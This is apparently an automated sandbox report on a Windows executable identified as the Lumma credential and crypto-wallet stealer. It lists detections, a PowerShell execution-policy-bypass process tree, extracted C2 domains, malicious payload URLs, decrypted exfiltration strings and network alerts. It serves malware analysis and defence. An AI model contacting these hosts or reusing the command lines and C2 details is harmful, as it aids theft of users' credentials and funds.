Edit tour

Windows Analysis Report
'Set-up.exe

Overview

General Information

Sample name:	'Set-up.exe
Analysis ID:	1580128
MD5:	f27e776397563e8acf25ae754dc758d0
SHA1:	7a4598fa588add6a9c08de22580991c233c051a8
SHA256:	1386e1768e3b32c50df7720b91772db16a736b427f37d9f4451730d81b026050
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Invoke-Obfuscation Via Stdin

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

Queries keyboard layouts

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

'Set-up.exe (PID: 6224 cmdline: "C:\Users\user\Desktop\'Set-up.exe" MD5: F27E776397563E8ACF25AE754DC758D0)

powershell.exe (PID: 5756 cmdline: powershell -exec bypass error code: 523 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1208 cmdline: powershell -exec bypass <!DOCTYPE html>     <html class="no-js" lang="en-US">  <head> <title>Suspected phishing site | Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />  <style>body{margin:0;padding:0}</style>  <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script>  </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="gIVICfXZ57Xm8TFCFb_U7tR.ZkObLtdfUiGJ9wnfr2M-1734999517-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> </div> </div> </div> <div id="ts-blocks" style="display:none;"></div> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8f6c6a468cd6de9b</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span> </p> <script>(function(){function d(){var b=a.getElementById("cf-footer-item-ip"),c=a.getElementById("cf-footer-ip-reveal");b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMContentLoaded",d)})();</script> </div> </div> </div> <script> window._cf_translation = {}; </script> </body> </html> MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["shapestickyr.lat", "talkynicer.lat", "manyrestro.lat", "weighappetis.click", "slipperyloo.lat", "curverpluch.lat", "bashfulacid.lat", "tentabatte.lat", "wordyfindy.lat"], "Build id": "hRjzG3--JENYA"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x4a98b:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000003.2330195563.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 'Set-up.exe PID: 6224	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 'Set-up.exe PID: 6224	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 'Set-up.exe PID: 6224	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation Via Stdin

Source: Process started

Author: Nikita Nazarov, oscd.community: Data: Command: powershell -exec bypass <!DOCTYPE html>     <html class="no-js" lang="en-US">  <head> <title>Suspected phishing site | Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />  <style>body{margin:0;padding:0}</style>  <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script>  </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="gIVICfXZ57Xm8TFCFb_U7tR.ZkObLtdfUiGJ9wnfr2M-1734999517-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> </div> </div> </div> <div id="ts-blocks" style="display:none;"></div> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass error code: 523, CommandLine: powershell -exec bypass error code: 523, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\'Set-up.exe", ParentImage: C:\Users\user\Desktop\'Set-up.exe, ParentProcessId: 6224, ParentProcessName: 'Set-up.exe, ProcessCommandLine: powershell -exec bypass error code: 523, ProcessId: 5756, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass error code: 523, CommandLine: powershell -exec bypass error code: 523, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\'Set-up.exe", ParentImage: C:\Users\user\Desktop\'Set-up.exe, ParentProcessId: 6224, ParentProcessName: 'Set-up.exe, ProcessCommandLine: powershell -exec bypass error code: 523, ProcessId: 5756, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass error code: 523, CommandLine: powershell -exec bypass error code: 523, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\'Set-up.exe", ParentImage: C:\Users\user\Desktop\'Set-up.exe, ParentProcessId: 6224, ParentProcessName: 'Set-up.exe, ProcessCommandLine: powershell -exec bypass error code: 523, ProcessId: 5756, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T01:18:13.616219+0100	2028371	3	Unknown Traffic	192.168.2.6	49705	172.67.192.222	443	TCP
2024-12-24T01:18:15.869204+0100	2028371	3	Unknown Traffic	192.168.2.6	49711	172.67.192.222	443	TCP
2024-12-24T01:18:18.340331+0100	2028371	3	Unknown Traffic	192.168.2.6	49720	172.67.192.222	443	TCP
2024-12-24T01:18:20.608519+0100	2028371	3	Unknown Traffic	192.168.2.6	49727	172.67.192.222	443	TCP
2024-12-24T01:18:22.907456+0100	2028371	3	Unknown Traffic	192.168.2.6	49733	172.67.192.222	443	TCP
2024-12-24T01:18:25.390404+0100	2028371	3	Unknown Traffic	192.168.2.6	49742	172.67.192.222	443	TCP
2024-12-24T01:18:27.484214+0100	2028371	3	Unknown Traffic	192.168.2.6	49747	172.67.192.222	443	TCP
2024-12-24T01:18:29.554771+0100	2028371	3	Unknown Traffic	192.168.2.6	49753	172.67.192.222	443	TCP
2024-12-24T01:18:31.982071+0100	2028371	3	Unknown Traffic	192.168.2.6	49761	172.67.169.205	443	TCP
2024-12-24T01:18:36.932855+0100	2028371	3	Unknown Traffic	192.168.2.6	49772	104.21.84.113	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T01:18:14.463587+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49705	172.67.192.222	443	TCP
2024-12-24T01:18:16.631223+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49711	172.67.192.222	443	TCP
2024-12-24T01:18:30.607924+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49753	172.67.192.222	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T01:18:14.463587+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49705	172.67.192.222	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T01:18:16.631223+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49711	172.67.192.222	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T01:18:26.148410+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49742	172.67.192.222	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://kliptizq.shop/JiF	Avira URL Cloud: Label: malware
Source: https://kliptizq.shop/Si	Avira URL Cloud: Label: malware
Source: https://kliptizq.shop/int_clp_ldr_sha.txtP	Avira URL Cloud: Label: malware
Source: https://kliptizq.shop/	Avira URL Cloud: Label: malware
Source: https://neqi.shop/sdgjyut/psh.txt	Avira URL Cloud: Label: malware
Source: https://kliptizq.shop/tiEiM	Avira URL Cloud: Label: malware
Source: https://neqi.shop/sdgjyut/psh.txtbleE	Avira URL Cloud: Label: malware
Source: https://neqi.shop/sdgjyut/psh.txti	Avira URL Cloud: Label: malware
Source: https://kliptizq.shop/int_clp_ldr_sha.txtEe	Avira URL Cloud: Label: malware
Source: https://kliptizq.shop/int_clp_ldr_sha.txtNot_NuXix	Avira URL Cloud: Label: malware
Source: https://neqi.shop/	Avira URL Cloud: Label: malware

Found malware configuration

Source: 'Set-up.exe.6224.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["shapestickyr.lat", "talkynicer.lat", "manyrestro.lat", "weighappetis.click", "slipperyloo.lat", "curverpluch.lat", "bashfulacid.lat", "tentabatte.lat", "wordyfindy.lat"], "Build id": "hRjzG3--JENYA"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.2% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: weighappetis.click
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp	String decryptor: hRjzG3--JENYA

Source: 'Set-up.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.169.205:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.113:443 -> 192.168.2.6:49772 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2518893066.0000000007E98000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2498909269.0000000000871000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2511754540.0000000006F72000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 71B3F069h	0_2_0288E2EE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_028842EE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov eax, 00000001h	0_2_02866344
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp dword ptr [esi+ebp*8], 5E874B5Fh	0_2_0288A35E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov ecx, eax	0_2_0288F0FE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov esi, edx	0_2_0287D00B
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov ecx, eax	0_2_0287D00B
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 705FAB68h	0_2_0285F012
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ecx+07C7DE9Eh]	0_2_0285F012
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_0285F012
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0286D024
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	0_2_0287B07E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0286A1BD
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0286A1BD
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0286A1BD
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-01EDEA17h]	0_2_0287C1C8
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then xor eax, eax	0_2_028691D3
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0287C1D0
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-01EDEA17h]	0_2_0287C1D0
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+eax-04h]	0_2_028711EE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov edi, dword ptr [esp+08h]	0_2_02866110
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov word ptr [edi], ax	0_2_0288C159
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+ebx+06h]	0_2_0285A6CE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then push edi	0_2_0285F6E8
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov edx, eax	0_2_028756F9
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov ecx, eax	0_2_028756F9
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], C7235EAFh	0_2_0288E66E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_0285E7A3
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], E785F9BAh	0_2_0288A7BE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	0_2_028667C0
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_0288A70E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov ecx, eax	0_2_02878731
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0287B756
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov edi, dword ptr [esp+44h]	0_2_02879494
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then jmp eax	0_2_0286E4DC
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+526FD95Bh]	0_2_028874FE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then jmp edx	0_2_0288D58B
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov edx, dword ptr [ebp-1Ch]	0_2_0285D5BF
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov edi, ecx	0_2_028745CE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 2DA07A80h	0_2_0288E53E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov esi, dword ptr [ebp-00000084h]	0_2_0287554E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_0287A55E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi-403FDF06h]	0_2_02859A8E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+eax+2C9B826Eh]	0_2_0285EA25
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov ecx, eax	0_2_0285EA25
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], E5FE86B7h	0_2_0288AB9E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+07C7DE9Eh]	0_2_0288AB9E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], A2347758h	0_2_0288AB9E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	0_2_0287ABBE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+07C7DE9Eh]	0_2_0285FBF8
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+02h]	0_2_02872B1E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov word ptr [esi], cx	0_2_02865B3E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx+499B7F50h]	0_2_0288BB7E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-17h]	0_2_0287889E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx eax, byte ptr [edi+ecx]	0_2_0285E8D4
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov ecx, eax	0_2_028799BE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov byte ptr [edx], cl	0_2_02876EFF
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov edx, eax	0_2_0286DE3E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov word ptr [edi], ax	0_2_0286DE3E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov ecx, eax	0_2_02866E45
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-62h]	0_2_02865FAE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+20h]	0_2_02879FC0
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+07C7E146h]	0_2_02869FE6
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov word ptr [edx], ax	0_2_0285DF43
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+55636BF6h]	0_2_0285DF43
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx edx, byte ptr [esp+esi-5Eh]	0_2_02887F40
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then cmp al, 2Eh	0_2_02876CFD
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then push edi	0_2_02877C01
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then mov edx, ecx	0_2_02873C4D
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+14h]	0_2_0288CC43
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07C7E146h]	0_2_02867C48
